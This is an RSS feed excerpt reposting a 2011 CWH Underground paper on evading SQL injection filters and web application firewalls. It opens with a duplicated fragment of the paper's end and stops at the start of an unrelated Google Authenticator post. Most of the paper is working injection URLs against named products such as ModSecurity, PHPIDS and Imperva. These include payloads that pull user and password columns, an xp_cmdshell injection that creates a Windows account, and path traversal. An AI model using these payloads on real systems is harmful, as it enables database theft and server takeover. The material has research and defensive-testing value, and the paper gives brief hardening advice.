It&#039;s functional limitations, WAF is not able to protect a web app from all possible vulnerabilities - It&#039;s necessary to adapt WAF filter to the particular web app being protected - WAF doesn&#039;t eliminate a vulnerability, It just partly screens the attack vector   #####################  [0x06] - References #####################  [1] WAF Bypass: SQL Injection - Kyle [2] &lt;a href=&quot;http://cwe.mitre.org/data/definitions/98.html&quot;&gt;http://cwe.mitre.org/data/definitions/98.html&lt;/a&gt; [3] HTTP Parameter Contamination - Ivan Markovic NSS [4] Split and Join - Lavakumar Kuppan [5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola [6] blog.spiderlabs.com   ####################  [0x07] - Greetz To #################### 	 Greetz	    :  ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 Special Thx :  Exploit-db.com   				---------------------------------------------------- 		Our disclosure purpose isn&#039;t helping security products but need to reveal theirs shit.  		   Security Products not able to 100% protect from damn config/coding of admin.  				  Just need a time and imagination for breach it !! 				----------------------------------------------------&lt;/pre&gt;
&lt;div id=&quot;footer&quot;&gt;&amp;#169; Offensive Security 2011&lt;/div&gt;</description>
			<content:encoded><![CDATA[<pre>		|=--------------------------------------------------------------------=|
		|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
		|=-------------------------=[ 6 October 2011 ]=-----------------------=|
		|=----------------------=[  By CWH Underground  ]=--------------------=|
		|=--------------------------------------------------------------------=|
				

######
 Info
######

Title	: Beyond SQLi: Obfuscate and Bypass
Author	: "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
Team    : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date	: 2011-10-06


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - Filter Evasion (Mysql)

		[0x01a] - Bypass Functions and Keywords Filtering
		[0x01b] - Bypass Regular Expression Filtering
		
  [0x02] - Normally Bypassing Techniques

  [0x03] - Advanced Bypassing Techniques

		[0x03a] - HTTP Parameter Pollution: Split and Join
		[0x03b] - HTTP Parameter Contamination
  		
  [0x04] - How to protect your website

  [0x05] - Conclusion

  [0x06] - References

  [0x07] - Greetz To


#######################
 [0x00] - Introduction
#######################

	Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. 
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. 
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system 
in the real world even though you spend more than 300,000 USD on a WAF.

	This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

	Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination".
and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution. 
The last, section 0x05, It's conclusion from Section 0x01-0x04.


#################################
 [0x01] - Filter Evasion (Mysql)
#################################
	
	This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. 
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

	+++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01a] - Bypass Functions and Keywords Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	
		Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. 
	However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users 
	when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.

		
		Keyword filer: 		and, or
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or)/i', $id)

		THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &amp;&amp;, || instead of and, or respectively.

		Filtered injection:	1 or 1 = 1		1 and 1 = 1
		Bypassed injection:	1 || 1 = 1		1 &amp;&amp; 1 = 1
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union)/i', $id)

		The keyword union is generally used to generate an malicious statement in order to select extra data from the database. 

		Filtered injection:	union select user, password from users
		Bypassed injection:	1 || (select user from users where user_id = 1) = 'admin'

		** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement 
		e.g. use substring function to get each character of table names.
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where)/i', $id)
		Filtered injection:	1 || (select user from users where user_id = 1) = 'admin'
		Bypassed injection:	1 || (select user from users limit 1) = 'admin'
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit)/i', $id)
		Filtered injection:	1 || (select user from users limit 1) = 'admin'
		Bypassed injection:	1 || (select user from users group by user_id having user_id = 1) = 'admin'
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by)/i', $id)
		Filtered injection:	1 || (select user from users group by user_id having user_id = 1) = 'admin'
		Bypassed injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit, group by, select
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || 1 = 1 into outfile 'result.txt'
		Bypassed injection:	1 || substr(user,1,1) = 'a'
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, '
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || user_id is not null
		Bypassed injection:	1 || substr(user,1,1) = 0x61
		Bypassed injection:	1 || substr(user,1,1) = unhex(61)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, ', hex
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
		Filtered injection:	1 || substr(user,1,1) = unhex(61)
		Bypassed injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, ', hex, substr
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
		Filtered injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		Bypassed injection:	1 || lpad(user,7,1)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, ', hex, substr, white space
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
		Filtered injection:	1 || lpad(user,7,1)
		Bypassed injection:	1%0b||%0blpad(user,7,1)
		----------------------------------------------------------------------


		From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. 
	Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.

		Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.


	+++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01b] - Bypass Regular Expression Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++

		Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. 
	However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

	PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols. 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 or 1 = 1
	Bypassed injection:		1 or 1
	[End Code]----------------------------------------------------------- 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name = 'users'
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
	Bypassed injection:		1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
	Bypassed Injection:		1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
	[End Code]----------------------------------------------------------- 



########################################
 [0x02] - Normally Bypassing Techniques
########################################

	In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?
	
	A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. 
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, 
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
	WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

	Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!

	
	1. Bypass with Comments

		SQL comments allow us to bypass a lot of filtering and WAFs.
	
		[Code]---------------------------------------------------------------		
		<a href="http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--">http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--</a>
		[End Code]-----------------------------------------------------------


	2. Case Changing

		Some WAFs filter only lowercase SQL keyword.	

		Regex Filter: /union\sselect/g
	
		[Code]---------------------------------------------------------------		
		<a href="http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--">http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--</a>
		[End Code]-----------------------------------------------------------


	3. Replaced keywords

		Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.	
	
		[Code]---------------------------------------------------------------		
		<a href="http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--">http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--</a>
		[End Code]-----------------------------------------------------------

		Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.

		[Code]---------------------------------------------------------------		
		<a href="http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--">http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--</a>
		[End Code]-----------------------------------------------------------

		For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".

		Forbidden: <a href="http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html">http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html</a>
		Bypassed : <a href="http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html">http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html</a>
	


	4. Character encoding

		Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so 
		double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
		decoding the SQL statement executing
	
		[Code]-----------------------------------------------------------------------------------------------------------------
		<a href="http://victim.com/news.php?id=1%252f%252a*/union%252f%252a">http://victim.com/news.php?id=1%252f%252a*/union%252f%252a</a> /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
		[End Code]-------------------------------------------------------------------------------------------------------------
				
		Moreover, these techniques can combine to bypass Citrix Netscaler
			- Remove all "NULL" words
			- Use query encoding in some parts
			- Remove the single quote character "'"
			- And Have fun !!
			Credit: Wendel Guglielmetti Henrique	
		
		and "Armorlogic Profense"  prior to 2.4.4 was bypassed by URL-encoded newline character.


		#Real World Example
		
		1. NukeSentinel (Nuke Evolution)
		
		[Nukesentinel.php Code]------------------------------------------------------------
		// Check for UNION attack
		// Copyright 2004(c) Raven PHP Scripts
		$blocker_row = $blocker_array[1];
		if($blocker_row['activate'] &gt; 0) {
 		 if (stristr($nsnst_const['query_string'],'+union+') OR \
		stristr($nsnst_const['query_string'],'%20union%20') OR \
		stristr($nsnst_const['query_string'],'*/union/*') OR \
		stristr($nsnst_const['query_string'],' union ') OR \
		stristr($nsnst_const['query_string_base64'],'+union+') OR \
		stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
		stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
		stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
		   die("BLOCK IP 1 " );
		  }
		}
		[End Code]-------------------------------------------------------------------------

		We can bypass their filtering with these script:
		
		Forbidden: <a href="http://victim.com/php-nuke/?/**/union/**/select&#8230;">http://victim.com/php-nuke/?/**/union/**/select&#8230;</a>..
		Bypassed : <a href="http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select&#8230;">http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select&#8230;</a>
		Bypassed : <a href="http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect&#8230;">http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect&#8230;</a>


		2. Mod Security CRS (Credit: Johannes Dahse)
		
		[SecRule]--------------------------------------------------------------------------
		SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
		t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
		msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
		tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
		setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
		setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
		[End Rule]-------------------------------------------------------------------------

		We can bypass their filtering with this code:
		
		[Code]------------------------------------------------------------------------------
		<a href="http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user">http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user</a>
		[End Code]--------------------------------------------------------------------------

		From this attack, We can bypass Mod Security rule. Let see what's happen !! 
		
		MySQL Server supports 3 comment styles:
			- From a "#" character to the end of the line
			- From a "--" sequence to the end of the line
			- From a /* sequence to the following */ sequence, as in the C programming language.
			  This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
			  not be on the same line.

		The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user)
		The resulting SQL payload looked something like this:

			0 div 1 union#foo*/*/bar
			select#foo
			1,2,current_user
		
		However the SQL payload, when executed by the MySQL DB, looked something like this:

			0 div 1 union select 1,2,current_user	


	5. Buffer Overflow

		WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
		Give a large amount of data allows our code executing	
	
		[Code]------------------------------------------------------------------------------
		<a href="http://victim.com/news.php?id=1+and+(select">http://victim.com/news.php?id=1+and+(select</a> 1)=(select 0x414141414141441414141414114141414141414141414141414141
		414141414141&#8230;.)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
		[End Code]--------------------------------------------------------------------------

	
	6. Inline Comments (Mysql Only)

		From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
		code that includes MySQL extensions, but is still portable, by using comments of the following form:

		/*! MySQL-specific code */
		
		In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
		but other SQL servers will ignore the extensions.
		
		A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
		
		[Code]------------------------------------------------------------------------------
		<a href="http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--">http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--</a>
		[End Code]--------------------------------------------------------------------------
		
		Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
		add more inline comments
	
		[Code]------------------------------------------------------------------------------
		<a href="http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables">http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables</a>
		/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
		[End Code]--------------------------------------------------------------------------

		In a recent penetration test, we were able to bypass a Mod Security CRS and PentaSecurity-WAPPLE using this technique. More information show below:
		
		#################################################################################################################

		Vendor : Penta Security System
		Product: Wapple Web Application Firewall
		Patch released: 2011-10-02 (In SQL Injection Custom Policy Mode)
		Publish released: 2011-10-04
		Credit : Prathan Phongthiproek and Suphot Boonchamnan
	
		These scripts can all SQL Injection rules:	
			1 ||1=1
			1 /*!order by*/ 3
			1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
			1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
			1 /*!union select*/ /*!user,password*/ from /*!users*/
		################################################################################################################
		

	
########################################	
 [0x03] - Advanced Bypassing Techniques
########################################
		
	In this section, we offer 2 techniques are "HTTP Pollution: Split and Join" and "HTTP Parameter Contamination". 
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)
     
     
	++++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x03a] - HTTP Parameter Pollution: Split and Join
	++++++++++++++++++++++++++++++++++++++++++++++++++++

		HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
	effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting 
	query string. 

	Example of HPP: "http://victim.com/search.aspx?par1=val1&amp;par1=val2"

	HTTP Parameter Handling: (Example)
	
	+------------------------------------------------------------------+
	| Web Server 	  | Parameter Interpretation	 | Example	   |
	+------------------------------------------------------------------+
	| ASP.NET/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| ASP/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| PHP/Apache	  | The last param is resulting  | par1=val2	   |
	| JSP/Tomcat	  | The first param is resulting | par1=val1	   |
	| Perl/Apache	  | The first param is resulting | par1=val1	   |
	| DBMan		  | Concatenation by two tildes  | par1=val1~~val2 |
	+------------------------------------------------------------------+
	
		What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
	Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
	multiple occurrences (ASP, ASP.NET, DBMan,&#8230;) an aggressor can split the malicious payload.

		In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment.
	This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below:	

	
	#Real World Example:

	1. Mod Security CRS (Credit: Lavakumar Kuppan)
		
		The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
		
		Forbidden: <a href="http://victim.com/search.aspx?q=select">http://victim.com/search.aspx?q=select</a> name,password from users

		When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

		Bypassed : <a href="http://victim.com/search.aspx?q=select">http://victim.com/search.aspx?q=select</a> name&amp;q=password from users

		
		Let's see what's happen, ModSecurity's interpretation is
		
		q=select name
		q=password from users

		ASP/ASP.NET's interpretation is
		q=select name,password from users

		*Tip: This attack can be carried out on a POST variable in a similar way


	2. Commercial WAFs
		
		Forbidden: <a href="http://victim.com/search.aspx?q=select">http://victim.com/search.aspx?q=select</a> name,password from users

		Now we use HPP+Inline comment to bypass it.

		Bypassed : <a href="http://victim.com/search.aspx?q=select/*&amp;q=*/name&amp;q=password/*&amp;q=*/from/*&amp;q=*/users">http://victim.com/search.aspx?q=select/*&amp;q=*/name&amp;q=password/*&amp;q=*/from/*&amp;q=*/users</a>

		
		Analyzing, WAF's interpretation is

		q=select/*
		q=*/name
		q=password/*
		q=*/from/*
		q=*/users
		
		ASP/ASP.NET's interpretation is
		q=select/*,*/name,password/*,*/from/*,*/users
		q=select name,password from users


	3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)
		
		Forbidden: <a href="http://victim.com/news.aspx?id=1';">http://victim.com/news.aspx?id=1';</a> EXEC master..xp_cmdshell &#8220;net user zeq3ul UrWaFisShiT /add&#8221; --

		Now we use HPP+Inline comment to bypass it.

		Bypassed : <a href="http://victim.com/news.aspx?id=1';">http://victim.com/news.aspx?id=1';</a> /*&amp;id=1*/ EXEC /*&amp;id=1*/ master..xp_cmdshell /*&amp;id=1*/ &#8220;net user lucifer UrWaFisShiT&#8221; /*&amp;id=1*/ --

		
		Analyzing, WAF's interpretation is

		id=1&#8217;; /*
		id=1*/ EXEC /*
		id=1*/ master..xp_cmdshell /*
		id=1*/ &#8220;net user zeq3ul UrWaFisShiT&#8221; /*
		id=1*/ --
		
		ASP/ASP.NET's interpretation is
		id=1&#8217;; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ &#8220;net user zeq3ul UrWaFisShiT&#8221; /*,1*/ --
		id=1&#8217;; EXEC master..xp_cmdshell &#8220;net user zeq3ul UrWaFisShiT&#8221; --
		

		The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. 
	This would prevent all variations of this attack.
		However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. 
	And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF 
	should also interpret the HTTP request in the same way the web application would.

		
	++++++++++++++++++++++++++++++++++++++++
	 [0x03b] - HTTP Parameter Contamination
	++++++++++++++++++++++++++++++++++++++++

		HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by 
	exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
	parameter contamination with reserved or non expects characters. 
	
	Some facts:
     	- The term Query String is commonly used to refer to the part between the  "?" and the end of the URI
	- As defined in the RFC 3986, it is a series of field-value pairs
	- Pairs are separated by "&amp;" or ";"
	- RFC 2396 defines two classes of characters:
		Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
		Reserved  : ; / ? : @ &amp; = + $ ,
		Unwise    : { } | \ ^ [ ] ` 

		Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
	but we will stop here this time.

	Query string and Web server response (Example)
	
	+-----------------------------------------------------------+
	| Query String	  |    Web Servers response / GET values    |
	+-----------------------------------------------------------+
	| 		  | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP	    |
	+-----------------------------------------------------------+
	| ?test[1=2	  | test_1=2	 	     | test[1=2	    |
	| ?test=%  	  | test=%		     | test=	    |
	| ?test%00=1	  | test=1	       	     | test=1	    |
	| ?test=1%001	  | NULL		     | test=1	    |
	| ?test+d=1+2	  | test_d=1 2		     | test d=1 2   |
	+-----------------------------------------------------------+
	
	Magic character "%" affect to ASP/ASP.NET	

	+--------------------------------------------------------------------+
	| 	Keywords     |        WAF   		  |  ASP/ASP.NET     |
	+--------------------------------------------------------------------+
	| sele%ct * fr%om..  | sele%ct * fr%om.. 	  | select * from..  |
	| ;dr%op ta%ble zzz  | ;dr%op ta%ble <pre>zzz</pre>
| ;drop table zzz  | 	| &lt;scr%ipt&gt;	     | &lt;scr%ipt&gt;		  | &lt;script&gt;	     | 	| &lt;if%rame&gt;	     | &lt;if%rame&gt;		  | &lt;iframe&gt;         | 	+--------------------------------------------------------------------+   	#Real world examples:  	1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf)   		[Filtered]---------------------------------------------------------------------------------- 	 		[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b"  		at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"]  		[rev "2.2.0"] [msg 	"Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]  		[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]  		[End Code]------------------------------------------------------------------------------  		Forbidden: <a href="http://localhost/?xp_cmdshell">http://localhost/?xp_cmdshell</a> 		Bypassed : <a href="http://localhost/?xp[cmdshell">http://localhost/?xp[cmdshell</a>  	2. Bypass URLScan 3.1 DenyQueryStringSequences rule 	 		Forbidden: <a href="http://localhost/test.asp?file=../bla.txt">http://localhost/test.asp?file=../bla.txt</a> 		Bypassed : <a href="http://localhost/test.asp?file=.%./bla.txt">http://localhost/test.asp?file=.%./bla.txt</a>  	3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)  		Forbidden: <a href="http://victim.com/news.asp?id=10">http://victim.com/news.asp?id=10</a> and 1=0/(select top 1 table_name from information_schema.tables) 		Bypassed : <a href="http://victim.com/news.asp?id=10">http://victim.com/news.asp?id=10</a> a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)  		From this situation, Webknight use SQL keywords filtering when we use "HTTP contamination" by insert "%" into SQL keywords WAF is bypassed and sending these 		command to Web server: "id=10 and 1=0/(select top 1 table_name from information_schema.tables)" because "%" is cutter in web server. 	  		These types of hacking techniques are always interesting because they reveal new perspectives on security problems. 	Many applications are found to be vulnerable to this kind of abuse because there are no defined rules for strange web server behaviors. 		HPC can be used to extend HPP attack with spoofing real parameter name in the QUERY_STRING with "%" character on an IIS/ASP platform, 	if there is WAF who blocks this kind of an attack.  	  ######################################	  [0x04] - How to protect your website ######################################  - Implement Software Development Life Cycle (SDLC) - Secure Coding: Validate all inputs and outputs - PenTest before online - Harden it !! - Revisit PenTest - Deploy WAF (For Optional) - Always check WAF patch   #####################	  [0x05] - Conclusion #####################   - WAFs is not the long-expected - It's functional limitations, WAF is not able to protect a web app from all possible vulnerabilities - It's necessary to adapt WAF filter to the particular web app being protected - WAF doesn't eliminate a vulnerability, It just partly screens the attack vector   #####################  [0x06] - References #####################  [1] WAF Bypass: SQL Injection - Kyle [2] <a href="http://cwe.mitre.org/data/definitions/98.html">http://cwe.mitre.org/data/definitions/98.html</a> [3] HTTP Parameter Contamination - Ivan Markovic NSS [4] Split and Join - Lavakumar Kuppan [5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola [6] blog.spiderlabs.com   ####################  [0x07] - Greetz To #################### 	 Greetz	    :  ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 Special Thx :  Exploit-db.com   				---------------------------------------------------- 		Our disclosure purpose isn't helping security products but need to reveal theirs shit.  		   Security Products not able to 100% protect from damn config/coding of admin.  				  Just need a time and imagination for breach it !! 				----------------------------------------------------</pre>
<div id="footer">&#169; Offensive Security 2011</div>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2011/10/beyond-sqli-obfuscate-and-bypass#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=46</wfw:commentRss>
		</item>
				<item>
			<title>Use Google Authenticator to login to a Linux PC</title>
			<link>http://www.bethlehem.eu/blog/2011/06/use-google-authenticator-to-login</link>
			<pubDate>Tue, 14 Jun 2011 13:39:00 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="alt">Security</category>
<category domain="main">Linux</category>
<category domain="alt">Programming</category>			<guid isPermaLink="false">45@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;You can use this existing implementation and Google Authenticator  application with SSH via an included PAM in the Google Authenticator  open source application.&lt;/p&gt;
&lt;h4&gt;Download the Google Authenticator application&lt;/h4&gt;
&lt;p&gt;First, &lt;a href=&quot;http://www.google.com/support/accounts/bin/answer.py?hl=en&amp;amp;answer=1066447&quot;&gt;download and install Google Authenticator&lt;/a&gt; on your Iphone/Android/Blackberry.&lt;/p&gt;
&lt;h4&gt;Compile, install, configure &lt;a href=&quot;http://code.google.com/p/google-authenticator/&quot;&gt;Google authenticator&lt;/a&gt; PAM&lt;/h4&gt;
